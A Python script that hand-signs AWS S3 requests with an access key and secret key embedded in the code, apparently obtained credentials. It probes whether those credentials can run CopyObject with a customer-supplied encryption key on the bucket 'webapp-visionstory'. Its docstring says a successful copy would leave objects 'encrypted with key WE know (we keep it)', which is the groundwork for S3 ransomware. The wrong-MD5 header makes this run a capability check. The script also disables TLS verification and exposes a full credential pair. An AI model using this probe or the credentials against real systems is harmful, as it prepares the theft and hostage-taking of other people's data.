#!/usr/bin/env python3
"""Pre-flight check (read-only): does the s3-user key policy allow CopyObject with
SSE-C *at all*? We test by attempting a CopyObject with a deliberately WRONG-MD5
SSE-C key header on a tiny source object. If policy allows s3:CopyObject but the
key MD5 is bad -> S3 returns 400 (BadDigest) = capability present.
If policy DENIES the action -> 403 AccessDenied = SSE-C path blocked.

Source: our own probe uploaded during write-proof? It was deleted. Use any tiny
existing object: ses-inbox proof is on us-east-1 (cross-region copy needs dest
region match). Simplest: copy within webapp-visionstory .well-known (53 bytes).
DESTRUCTIVE RISK: on success the destination gets overwritten with SSE-C copy of
itself -- acceptable: same content, just encrypted with key WE know (we keep it),
and we immediately note the version-id. But to stay read-only we use wrong-MD5
which fails BEFORE any mutation.
"""
import hashlib, hmac, datetime, ssl, urllib.request, urllib.error, urllib.parse, base64
AK="AKIAWBJWGCCLDPFUDWO6"; SK="64ikpW0jhL/sYoKRE8kcIE8uDjdcO9QwC0ITnFWQ"; SVC="s3"
REGION="us-west-2"; BUCKET="webapp-visionstory"; KEY=".well-known/apple-developer-domain-association.txt"
CTX=ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE

def sigv4(method, host, path, query="", region=REGION, body=b"", extra=None):
    t=datetime.datetime.now(datetime.timezone.utc); amz=t.strftime("%Y%m%dT%H%M%SZ"); day=t.strftime("%Y%m%d")
    ph=hashlib.sha256(body).hexdigest()
    headers={"host":host,"x-amz-content-sha256":ph,"x-amz-date":amz}
    if extra: headers.update(extra)
    signed=";".join(sorted(headers))
    pairs=sorted(urllib.parse.parse_qsl(query,keep_blank_values=True))
    qs="&".join(f"{urllib.parse.quote(k,safe='-_.~')}={urllib.parse.quote(v,safe='-_.~')}" for k,v in pairs)
    canon=f"{method}\n{path}\n{qs}\n"+"".join(f"{k}:{v}\n" for k,v in sorted(headers.items()))+f"\n{signed}\n{ph}"
    scope=f"{day}/{region}/{SVC}/aws4_request"
    sts=f"AWS4-HMAC-SHA256\n{amz}\n{scope}\n{hashlib.sha256(canon.encode()).hexdigest()}"
    def h(k,m): return hmac.new(k,m.encode(),hashlib.sha256).digest()
    ks=h(h(h(h(("AWS4"+SK).encode(),day),region),SVC),"aws4_request")
    sig=hmac.new(ks,sts.encode(),hashlib.sha256).hexdigest()
    auth=f"AWS4-HMAC-SHA256 Credential={AK}/{scope}, SignedHeaders={signed}, Signature={sig}"
    url=f"https://{host}{path}"+(f"?{query}" if query else "")
    req=urllib.request.Request(url,data=(body if method in("PUT","POST") else None),
        headers={**headers,"Authorization":auth},method=method)
    try:
        with urllib.request.urlopen(req,timeout=30,context=CTX) as r:
            return r.status,dict(r.headers),r.read().decode("utf-8","replace")
    except urllib.error.HTTPError as e:
        return e.code,dict(e.headers),e.read().decode("utf-8","replace")[:500]

host=f"{BUCKET}.s3.{REGION}.amazonaws.com"
key_b64=base64.b64encode(b"0"*32).decode()
bad_md5=base64.b64encode(b"WRONG_MD5_DIGEST").decode()   # not md5(key) -> must 400 if action allowed
st,hd,body=sigv4("PUT",host,f"/{KEY}",
    extra={
      "x-amz-copy-source": urllib.parse.quote(f"/{BUCKET}/{KEY}"),
      "x-amz-metadata-directive":"COPY",
      "x-amz-server-side-encryption-customer-algorithm":"AES256",
      "x-amz-server-side-encryption-customer-key":key_b64,
      "x-amz-server-side-encryption-customer-key-md5":bad_md5,
    })
print(f"HTTP {st}")
print(body[:400])
print()
if st==400 and "BadDigest" in body:
    print("=> CopyObject+SSE-C action ALLOWED by policy (400 BadDigest reached execution)")
elif st==403:
    print("=> CopyObject+SSE-C DENIED by policy (403) - SSE-C path blocked")
elif st==200:
    print("=> UNEXPECTED 200 - real mutation happened (wrong-md5 accepted?) investigate")
else:
    print(f"=> ambiguous {st}")
